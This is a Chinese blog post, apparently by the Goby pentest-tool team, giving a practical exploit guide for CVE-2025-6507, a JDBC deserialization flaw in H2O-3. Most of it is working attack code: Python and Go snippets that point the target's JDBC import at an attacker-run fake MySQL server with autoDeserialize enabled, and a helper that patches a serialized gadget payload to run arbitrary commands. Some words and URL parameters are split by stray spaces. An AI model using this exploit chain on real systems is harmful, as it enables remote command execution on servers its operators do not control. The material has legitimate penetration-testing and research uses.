技术分享 | EXP能力升级(三):JDBC反序列化不再难!CVE-2025-6507 实战化EXP指南
前言
在 EXP 能力升级系列的前几期中,我们聚焦于多种典型漏洞的利用链重构与服务能力优化,从 HTTP 独立服务实例到自定义 FTP 服务的能力扩展,而在本期中,我们将把视角转向另一类在企业应用与中间件渗透测试中高频出现的利用场景——JDBC漏洞利用,这类漏洞常出现在数据库连接模块中,在与外界进行交互时触发,这时候就需要部署一个数据库服务器在查询时返回payload进行漏洞利用,今天就来以具体的案例聊聊这类漏洞的复现痛点,看Goby EXP模块最新升级的fake-mysql能力如何帮我们一键破局。
先搞懂:JDBC 协议交互中的反序列化攻击链路
要搞懂复现逻辑,首先得理清 JDBC 反序列化漏洞的攻击链路,下面我们用一个具体的案例进行讲解:
H2O-3 /99/ImportSQLTable JDBC 反序列化漏洞(CVE-2025-6507)
H2o-3 是 H2o.ai 公司开发的开源机器学习和预测分析平台,广泛应用于大数据分析、机器学习模型构建和部署等场景。该平台支持多种数据源连接,包括数据库、文件系统等,为数据科学家和分析师提供了强大的数据处理和建模能力。
在其 ImportSQLTable 功能中,用户可通过 JDBC 连接导入 SQL 数据库中的数据。也正是因为这种特性,导致了可控制 jdbc 链接来实现反序列化漏洞。虽然H2O尝试通过正则表达式过滤恶意参数,但研究人员发现攻击者只需在参数间插入空格即可绕过这些过滤措施。
其核心利用依赖 JDBC 连接的协议特性:目标服务器通过 JDBC 驱动发起数据库连接时,会解析服务端返回的数据流,若驱动存在序列化校验缺陷,攻击者可构造恶意序列化 payload 注入响应流,触发服务器端反序列化执行,最终达成命令执行。
完整攻击链路如下:
- 攻击者构造恶意 JDBC 连接 URL,通过目标系统的 SQL 导入功能(如 import_sql_table)诱导服务器主动发起连接;
- 目标服务器加载存在安全缺陷的 JDBC 驱动(如特定版本 mysql-connector-java),建立与攻击者控制端的 TCP 连接;
- 攻击者控制端(恶意数据库模拟服务)按照 MySQL 协议规范,返回包含恶意 Gadget 的序列化二进制数据;
- 目标服务器在解析数据时触发反序列化漏洞,从而执行任意命令。

这里要重点说下,该类漏洞利用链路里最关键的步骤(也是必要条件):得启动一个MySQL服务器,或者是fake MySQL,基于 MySQL 协议规范(如握手包格式、数据响应结构)开发轻量级模拟服务进行搭建调试,使其能够精准响应 JDBC 驱动的连接请求、认证流程,并在执行查询操作时返回恶意的序列化数据。由于这个项目依赖于Jackson,所以我在本地测试时通过脚本在本地3308启动了一个fake mysql服务来触发反序列化漏洞。
给大家贴下靶场复现代码,这里用的h2o版本是3.46.0.7:
import h2o
// h2o Version: 3.46.0.7
h2o.init(
extra_classpath=["./mysql-connector-java-8.0.19.jar"],
max_mem_size="4g",
port=54321
)
try:
fr ame = h2o.import_sql_table(
connection_url="jdbc:mysql://192.168.3.1:3308/test? autoDeserialize=true& queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
table="",
username="demo",
password="demo"
)
except Exception as e:
if "No suitable driver" in str(e):
print("Exploit fail")
本地复现效果:
不过这种利用方式有个明显的问题——太固定了。每次只能启动一个服务用于执行一条命令,每当我需要执行其他命令则需要手动再去修改序列化数据,并且在实战情况下,还需要提供一个公网IP地址用于启动fake-mysql服务,总而言之,若要在实战环境下完成JDBC反序列化漏洞的 EXP 链路,这个流程是非常繁琐的。
Goby 能力升级:JDBC反序列化测试流程,一键自动化搞定
为了解决实战中JDBC反序列化漏洞利用的痛点——比如fake-mysql调试麻烦、还要单独搭VPS这些问题,Goby EXP 模块新增 CreatCustomJdbcConnect 方法,将JDBC反序列化漏洞EXP全流程自动化,大幅提升渗透测试效率。通过CreatCustomJdbcConnect自定义Fake MySQL服务器,可以通过两种方式设置序列化数据,通过Gadget、Category和Command搭配使用,或者自定义十六进制的序列化数据,这样一来,研究人员写漏洞EXP的时候,灵活性就高多了。
具体的方法实现流程如下:
具体支持以下功能:
- 动态端口分配: 自动分配可用端口,避免端口冲突
- 命令执行: 支持编码后的命令或原始命令
- Gadget 支持: 支持各种反序列化 Gadget
- 超时控制: 支持自定义连接超时时间
- 简化接口: 返回标准化的 JDBC 连接字符串,便于使用
这个功能特别适用于需要数据库连接能力的漏洞测试场景。
实现代码用例:
// 创建自定义JDBC连接
req := godclient.CustomJdbcConnectReq{
EncodedCommand: "ba se64编码的命令", // 可选,与Command二选一
Command: "原始命令", // 可选,与EncodedCommand二选一
Gadget: "CommonsCollections3", // 使用Command时必需
Category: "jdk7", // 使用Command时必需
Timeout: 30, // 30秒超时
}
connectUrl, err := client.CreatCustomJdbcConnect(req)
if err != nil {
return "", nil
}
// 使用返回的JDBC连接字符串进行攻击
// connectUrl 格式: "jdbc:mysql://IP:端口/test"
payload := fmt.Sprintf("jdbc:mysql://%s/test?autoDeserialize=true&queryInterceptor=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections3_calc", connectUrl)
// 发起攻击请求
cfg := httpclient.NewGetRequestConfig("/vulnerable/endpoint")
cfg.Params.Add("url", payload)
resp, err := jsonvul.DoHttpRequestWithba seDir(u, cfg)
if err != nil || resp.StatusCode != 200 {
return "", nil
}
CustomJdbcConnectReq 结构体参数
| 参数名 | 类型 | 说明 | 限制和注意事项 |
|---|---|---|---|
| EncodedCommand | string | ba se64编码的命令 | 与Command二选一,优先使用EncodedCommand |
| Command | string | 原始命令字符串 | 与EncodedCommand二选一,使用时需提供Gadget和Category |
| Gadget | string | 反序列化Gadget名称 | 使用Command时必须,如"CommonsCollections3" |
| Category | string | Gadget分类 | 使用Command时必需,如"jdk7" |
| Timeout | int | 连接超时时间(秒) | 必须为正数,小于等于0时自动设置为60 |
成功返回
1connectUrl, err := client.CreatCustomJdbcConnect(req)
2// 成功时:
3// connectUrl: "jdbc:mysql://123.45.67.89:12345"
4// err: nil
最终goby实现的poc效果,通过使用Jackson的链生成原始的十六进制数据,通过对十六进制字符串的修改实现可执行任意自定义命令的序列化数据,然后通过CustomJdbcConnectReq方法启动fake-mysql服务,从而提高利用过程的丝滑程度:
calculateHexValue := func(hexStr string) int {
hexStr = strings.TrimLeft(hexStr, "0")
if hexStr == "" {
return 0
}
value, err := strconv.ParseInt(hexStr, 16, 32)
if err != nil {
return 0
}
return int(value)
}
replaceBothStrings := func(originalHex, customString string) (string, error) {
customHex := hex.EncodeToString([]byte(customString))
customLen := len(customString)
originalLen := 4
lenDiff := customLen - originalLen
pattern1 := "0004ef"
originalValue := calculateHexValue("04ef")
newValue := originalValue + lenDiff
replacement1 := fmt.Sprintf("%06x", newValue)
pattern2 := "000463616c63"
replacement2 := fmt.Sprintf("%04x%s", customLen, customHex)
result := strings.Replace(originalHex, pattern1, replacement1, 1)
result = strings.Replace(result, pattern2, replacement2, 1)
return result, nil
}
originalHex := "" // 序列化数据十六进制格式
payloadHex, err := replaceBothStrings(originalHex, command)
if err != nil {
return nil, err
}
host, err := godclient.CreatCustomJdbcConnect(godclient.CustomJdbcConnectReq{
EncodedCommand: payloadHex,
Timeout: 30,
})
if err != nil {
return nil, err
}
jdbcUrl := host + `/test? autoDeserialize=true& queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor`
最终的Goby一键验证利用效果如视频所示:
▌总结
本文以CVE-2025-6507(H2O-3 /99/ImportSQLTable JDBC反序列化漏洞)为例子,从详细拆解JDBC反序列化攻击链出发,详解Goby EXP新升级的CreatCustomJdbcConnect方法如何解决实战复现场景中的痛点,通过简易代码即可实现JDBC反序列化测试全自动化,给同类漏洞测试场景提供了方便的研究方法。
欢迎各位表哥表姐交流在Goby EXP环节遇到的问题,Bot会收集大家的问题建议作为我们下一步升级的方向哦~
▌参考
https://huntr.com/bounties/53f35a0f-d644-4f82-93aa-89fe7e0aed40

Gobybot 6天前
最新评论